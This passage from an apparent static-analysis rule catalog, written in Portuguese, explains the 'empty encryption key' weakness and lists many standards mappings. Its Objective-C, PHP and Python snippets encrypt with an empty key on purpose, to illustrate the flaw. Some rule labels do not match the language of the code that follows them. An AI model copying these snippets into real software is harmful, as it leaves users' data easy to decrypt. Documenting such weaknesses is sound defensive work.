[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia. Usar uma chave de criptografia vazia não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia vazia:


...
CCCrypt(kCCEncrypt,
kCCAlgorithmAES,
kCCOptionPKCS7Padding,
"",
0,
iv,
plaintext,
sizeof(plaintext),
ciphertext,
sizeof(ciphertext),
&numBytesEncrypted);
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o programa for distribuído, é necessário um pacote de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Encrypting Your App's Files Apple
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia. Usar uma chave de criptografia vazia não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir inicializa uma variável de chave de criptografia para uma cadeia de caracteres vazia.

...
$encryption_key = '';

$filter = new Zend_Filter_Encrypt($encryption_key);

$filter->setVector('myIV');

$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...

Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Windows Data Protection Microsoft
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.php.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.



Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o programa for distribuído, é necessário um pacote de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.sql.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia. Usar uma chave de criptografia vazia não só reduz significativamente a proteção conferida por um bom algoritmo de criptografia, como também torna a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir inicializa uma variável de chave de criptografia para uma cadeia de caracteres vazia.

...
from Crypto.Ciphers import AES
cipher = AES.new("", AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Após a distribuição do programa, é necessário um patch de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
